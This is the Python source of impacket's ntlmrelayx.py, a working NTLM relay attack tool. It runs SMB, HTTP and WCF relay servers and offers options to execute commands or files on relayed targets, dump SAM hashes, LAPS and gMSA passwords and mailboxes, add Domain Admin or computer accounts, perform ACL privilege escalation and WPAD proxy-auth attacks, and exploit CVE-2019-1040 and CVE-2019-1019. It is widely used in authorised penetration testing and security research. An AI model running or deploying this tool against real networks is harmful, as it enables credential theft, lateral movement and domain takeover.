#!C:\Python27\python.exe # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Generic NTLM Relay Module # # Authors: # Alberto Solino (@agsolino) # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) # # Description: # This module performs the SMB Relay attacks originally discovered # by cDc extended to many target protocols (SMB, MSSQL, LDAP, etc). # It receives a list of targets and for every connection received it # will choose the next target and try to relay the credentials. Also, if # specified, it will first to try authenticate against the client connecting # to us. # # It is implemented by invoking a SMB and HTTP Server, hooking to a few # functions and then using the specific protocol clients (e.g. SMB, LDAP). # It is supposed to be working on any LM Compatibility level. The only way # to stop this attack is to enforce on the server SPN checks and or signing. # # If the authentication against the targets succeeds, the client authentication # succeeds as well and a valid connection is set against the local smbserver. # It's up to the user to set up the local smbserver functionality. One option # is to set up shares with whatever files you want to so the victim thinks it's # connected to a valid SMB server. All that is done through the smb.conf file or # programmatically. # import argparse import sys import logging import cmd try: from urllib.request import ProxyHandler, build_opener, Request except ImportError: from urllib2 import ProxyHandler, build_opener, Request import json from threading import Thread from impacket import version from impacket.examples import logger from impacket.examples.ntlmrelayx.servers import SMBRelayServer, HTTPRelayServer, WCFRelayServer from impacket.examples.ntlmrelayx.utils.config import NTLMRelayxConfig from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor, TargetsFileWatcher from impacket.examples.ntlmrelayx.servers.socksserver import SOCKS RELAY_SERVERS = [] class MiniShell(cmd.Cmd): def __init__(self, relayConfig, threads): cmd.Cmd.__init__(self) self.prompt = 'ntlmrelayx> ' self.tid = None self.relayConfig = relayConfig self.intro = 'Type help for list of commands' self.relayThreads = threads self.serversRunning = True @staticmethod def printTable(items, header): colLen = [] for i, col in enumerate(header): rowMaxLen = max([len(row[i]) for row in items]) colLen.append(max(rowMaxLen, len(col))) outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)]) # Print header print(outputFormat.format(*header)) print(' '.join(['-' * itemLen for itemLen in colLen])) # And now the rows for row in items: print(outputFormat.format(*row)) def emptyline(self): pass def do_targets(self, line): for url in self.relayConfig.target.originalTargets: print(url.geturl()) return def do_finished_attacks(self, line): for url in self.relayConfig.target.finishedAttacks: print (url.geturl()) return def do_socks(self, line): headers = ["Protocol", "Target", "Username", "AdminStatus", "Port"] url = "http://localhost:9090/ntlmrelayx/api/v1.0/relays" try: proxy_handler = ProxyHandler({}) opener = build_opener(proxy_handler) response = Request(url) r = opener.open(response) result = r.read() items = json.loads(result) except Exception as e: logging.error("ERROR: %s" % str(e)) else: if len(items) > 0: self.printTable(items, header=headers) else: logging.info('No Relays Available!') def do_startservers(self, line): if not self.serversRunning: start_servers(options, self.relayThreads) self.serversRunning = True logging.info('Relay servers started') else: logging.error('Relay servers are already running!') def do_stopservers(self, line): if self.serversRunning: stop_servers(self.relayThreads) self.serversRunning = False logging.info('Relay servers stopped') else: logging.error('Relay servers are already stopped!') def do_exit(self, line): print("Shutting down, please wait!") return True def do_EOF(self, line): return self.do_exit(line) def start_servers(options, threads): for server in RELAY_SERVERS: #Set up config c = NTLMRelayxConfig() c.setProtocolClients(PROTOCOL_CLIENTS) c.setRunSocks(options.socks, socksServer) c.setTargets(targetSystem) c.setExeFile(options.e) c.setCommand(options.c) c.setEnumLocalAdmins(options.enum_local_admins) c.setEncoding(codec) c.setMode(mode) c.setAttacks(PROTOCOL_ATTACKS) c.setLootdir(options.lootdir) c.setOutputFile(options.output_file) c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user, options.add_computer, options.delegate_access, options.dump_laps, options.dump_gmsa, options.sid) c.setRPCOptions(options.rpc_mode, options.rpc_use_smb, options.auth_smb, options.hashes_smb, options.rpc_smb_port) c.setMSSQLOptions(options.query) c.setInteractive(options.interactive) c.setIMAPOptions(options.keyword, options.mailbox, options.all, options.imap_max) c.setIPv6(options.ipv6) c.setWpadOptions(options.wpad_host, options.wpad_auth_num) c.setSMB2Support(options.smb2support) c.setSMBChallenge(options.ntlmchallenge) c.setInterfaceIp(options.interface_ip) c.setExploitOptions(options.remove_mic, options.remove_target) c.setWebDAVOptions(options.serve_image) if server is HTTPRelayServer: c.setListeningPort(options.http_port) c.setDomainAccount(options.machine_account, options.machine_hashes, options.domain) elif server is SMBRelayServer: c.setListeningPort(options.smb_port) elif server is WCFRelayServer: c.setListeningPort(options.wcf_port) #If the redirect option is set, configure the HTTP server to redirect targets to SMB if server is HTTPRelayServer and options.r is not None: c.setMode('REDIRECT') c.setRedirectHost(options.r) #Use target randomization if configured and the server is not SMB if server is not SMBRelayServer and options.random: c.setRandomTargets(True) s = server(c) s.start() threads.add(s) return c def stop_servers(threads): todelete = [] for thread in threads: if isinstance(thread, tuple(RELAY_SERVERS)): thread.server.shutdown() todelete.append(thread) # Now remove threads from the set for thread in todelete: threads.remove(thread) del thread # Process command-line arguments. if __name__ == '__main__': print(version.BANNER) #Parse arguments parser = argparse.ArgumentParser(add_help = False, description = "For every connection received, this module will " "try to relay that connection to specified target(s) system or the original client") parser._optionals.title = "Main options" #Main arguments parser.add_argument("-h","--help", action="help", help='show this help message and exit') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') parser.add_argument('-t',"--target", action='store', metavar = 'TARGET', help="Target to relay the credentials to, " "can be an IP, hostname or URL like domain\\username@host:port (domain\\username and port " "are optional, and don't forget to escape the '\\'). If unspecified, it will relay back " "to the client')") parser.add_argument('-tf', action='store', metavar = 'TARGETSFILE', help='File that contains targets by hostname or ' 'full URL, one per line') parser.add_argument('-w', action='store_true', help='Watch the target file for changes and update target list ' 'automatically (only valid with -tf)') parser.add_argument('-i','--interactive', action='store_true',help='Launch an smbclient or LDAP console instead' 'of executing a command after a successful relay. This console will listen locally on a ' ' tcp port and can be reached with for example netcat.') # Interface address specification parser.add_argument('-ip','--interface-ip', action='store', metavar='INTERFACE_IP', help='IP address of interface to ' 'bind SMB and HTTP servers',default='') serversoptions = parser.add_argument_group() serversoptions.add_argument('--no-smb-server', action='store_true', help='Disables the SMB server') serversoptions.add_argument('--no-http-server', action='store_true', help='Disables the HTTP server') serversoptions.add_argument('--no-wcf-server', action='store_true', help='Disables the WCF server') parser.add_argument('--smb-port', type=int, help='Port to listen on smb server', default=445) parser.add_argument('--http-port', type=int, help='Port to listen on http server', default=80) parser.add_argument('--wcf-port', type=int, help='Port to listen on wcf server', default=9389) # ADWS parser.add_argument('-ra','--random', action='store_true', help='Randomize target selection') parser.add_argument('-r', action='store', metavar = 'SMBSERVER', help='Redirect HTTP requests to a file:// path on SMBSERVER') parser.add_argument('-l','--lootdir', action='store', type=str, required=False, metavar = 'LOOTDIR',default='.', help='Loot ' 'directory in which gathered loot such as SAM dumps will be stored (default: current directory).') parser.add_argument('-of','--output-file', action='store',help='base output filename for encrypted hashes. Suffixes ' 'will be added for ntlm and ntlmv2') parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default ' '"%s"). If errors are detected, run chcp.com at the target, ' 'map the result with ' 'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute ntlmrelayx.py ' 'again with -codec and the corresponding codec ' % sys.getdefaultencoding()) parser.add_argument('-smb2support', action="store_true", default=False, help='SMB2 Support') parser.add_argument('-ntlmchallenge', action="store", default=None, help='Specifies the NTLM server challenge used by the ' 'SMB Server (16 hex bytes long. eg: 1122334455667788)') parser.add_argument('-socks', action='store_true', default=False, help='Launch a SOCKS proxy for the connection relayed') parser.add_argument('-wh','--wpad-host', action='store',help='Enable serving a WPAD file for Proxy Authentication attack, ' 'setting the proxy host to the one supplied.') parser.add_argument('-wa','--wpad-auth-num', action='store', type=int, default=1, help='Prompt for authentication N times for clients without MS16-077 installed ' 'before serving a WPAD file. (default=1)') parser.add_argument('-6','--ipv6', action='store_true',help='Listen on both IPv6 and IPv4') parser.add_argument('--remove-mic', action='store_true',help='Remove MIC (exploit CVE-2019-1040)') parser.add_argument('--serve-image', action='store',help='local path of the image that will we returned to clients') parser.add_argument('-c', action='store', type=str, required=False, metavar = 'COMMAND', help='Command to execute on ' 'target system (for SMB and RPC). If not specified for SMB, hashes will be dumped (secretsdump.py must be' ' in the same directory). For RPC no output will be provided.') #SMB arguments smboptions = parser.add_argument_group("SMB client options") smboptions.add_argument('-e', action='store', required=False, metavar = 'FILE', help='File to execute on the target system. ' 'If not specified, hashes will be dumped (secretsdump.py must be in the same directory)') smboptions.add_argument('--enum-local-admins', action='store_true', required=False, help='If relayed user is not admin, attempt SAMR lookup to see who is (only works pre Win 10 Anniversary)') #RPC arguments rpcoptions = parser.add_argument_group("RPC client options") rpcoptions.add_argument('-rpc-mode', choices=["TSCH"], default="TSCH", help='Protocol to attack, only TSCH supported') rpcoptions.add_argument('-rpc-use-smb', action='store_true', required=False, help='Relay DCE/RPC to SMB pipes') rpcoptions.add_argument('-auth-smb', action='store', required=False, default='', metavar='[domain/]username[:password]', help='Use this credential to authenticate to SMB (low-privilege account)') rpcoptions.add_argument('-hashes-smb', action='store', required=False, metavar="LMHASH:NTHASH") rpcoptions.add_argument('-rpc-smb-port', type=int, choices=[139, 445], default=445, help='Destination port to connect to SMB') #MSSQL arguments mssqloptions = parser.add_argument_group("MSSQL client options") mssqloptions.add_argument('-q','--query', action='append', required=False, metavar = 'QUERY', help='MSSQL query to execute' '(can specify multiple)') #HTTPS options httpoptions = parser.add_argument_group("HTTP options") httpoptions.add_argument('-machine-account', action='store', required=False, help='Domain machine account to use when interacting with the domain to grab a session key for ' 'signing, format is domain/machine_name') httpoptions.add_argument('-machine-hashes', action="store", metavar="LMHASH:NTHASH", help='Domain machine hashes, format is LMHASH:NTHASH') httpoptions.add_argument('-domain', action="store", help='Domain FQDN or IP to connect using NETLOGON') httpoptions.add_argument('-remove-target', action='store_true', default=False, help='Try to remove the target in the challenge message (in case CVE-2019-1019 patch is not installed)') #LDAP options ldapoptions = parser.add_argument_group("LDAP client options") ldapoptions.add_argument('--no-dump', action='store_false', required=False, help='Do not attempt to dump LDAP information') ldapoptions.add_argument('--no-da', action='store_false', required=False, help='Do not attempt to add a Domain Admin') ldapoptions.add_argument('--no-acl', action='store_false', required=False, help='Disable ACL attacks') ldapoptions.add_argument('--no-validate-privs', action='store_false', required=False, help='Do not attempt to enumerate privileges, assume permissions are granted to escalate a user via ACL attacks') ldapoptions.add_argument('--escalate-user', action='store', required=False, help='Escalate privileges of this user instead of creating a new one') ldapoptions.add_argument('--add-computer', action='store', metavar='COMPUTERNAME', required=False, const='Rand', nargs='?', help='Attempt to add a new computer account') ldapoptions.add_argument('--delegate-access', action='store_true', required=False, help='Delegate access on relayed computer account to the specified account') ldapoptions.add_argument('--sid', action='store_true', required=False, help='Use a SID to delegate access rather than an account name') ldapoptions.add_argument('--dump-laps', action='store_true', required=False, help='Attempt to dump any LAPS passwords readable by the user') ldapoptions.add_argument('--dump-gmsa', action='store_true', required=False, help='Attempt to dump any gMSA passwords readable by the user') #IMAP options imapoptions = parser.add_argument_group("IMAP client options") imapoptions.add_argument('-k','--keyword', action='store', metavar="KEYWORD", required=False, default="password", help='IMAP keyword to search for. ' 'If not specified, will search for mails containing "password"') imapoptions.add_argument('-m','--mailbox', action='store', metavar="MAILBOX", required=False, default="INBOX", help='Mailbox name to dump. Default: INBOX') imapoptions.add_argument('-a','--all', action='store_true', required=False, help='Instead of searching for keywords, ' 'dump all emails') imapoptions.add_argument('-im','--imap-max', action='store',type=int, required=False,default=0, help='Max number of emails to dump ' '(0 = unlimited, default: no limit)') try: options = parser.parse_args() except Exception as e: logging.error(str(e)) sys.exit(1) if options.rpc_use_smb and not options.auth_smb: logging.error("Set -auth-smb to relay DCE/RPC to SMB pipes") sys.exit(1) # Init the example's logger theme logger.init(options.ts) if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) # Let's register the protocol clients we have # ToDo: Do this better somehow from impacket.examples.ntlmrelayx.clients import PROTOCOL_CLIENTS from impacket.examples.ntlmrelayx.attacks import PROTOCOL_ATTACKS if options.codec is not None: codec = options.codec else: codec = sys.getdefaultencoding() if options.target is not None: logging.info("Running in relay mode to single host") mode = 'RELAY' targetSystem = TargetsProcessor(singleTarget=options.target, protocolClients=PROTOCOL_CLIENTS, randomize=options.random) else: if options.tf is not None: #Targetfile specified logging.info("Running in relay mode to hosts in targetfile") targetSystem = TargetsProcessor(targetListFile=options.tf, protocolClients=PROTOCOL_CLIENTS, randomize=options.random) mode = 'RELAY' else: logging.info("Running in reflection mode") targetSystem = None mode = 'REFLECTION' if not options.no_smb_server: RELAY_SERVERS.append(SMBRelayServer) if not options.no_http_server: RELAY_SERVERS.append(HTTPRelayServer) if options.r is not None: logging.info("Running HTTP server in redirect mode") if not options.no_wcf_server: RELAY_SERVERS.append(WCFRelayServer) if targetSystem is not None and options.w: watchthread = TargetsFileWatcher(targetSystem) watchthread.start() threads = set() socksServer = None if options.socks is True: # Start a SOCKS proxy in the background socksServer = SOCKS() socksServer.daemon_threads = True socks_thread = Thread(target=socksServer.serve_forever) socks_thread.daemon = True socks_thread.start() threads.add(socks_thread) c = start_servers(options, threads) print("") logging.info("Servers started, waiting for connections") try: if options.socks: shell = MiniShell(c, threads) shell.cmdloop() else: sys.stdin.read() except KeyboardInterrupt: pass else: pass if options.socks is True: socksServer.shutdown() del socksServer for s in threads: del s sys.exit(0)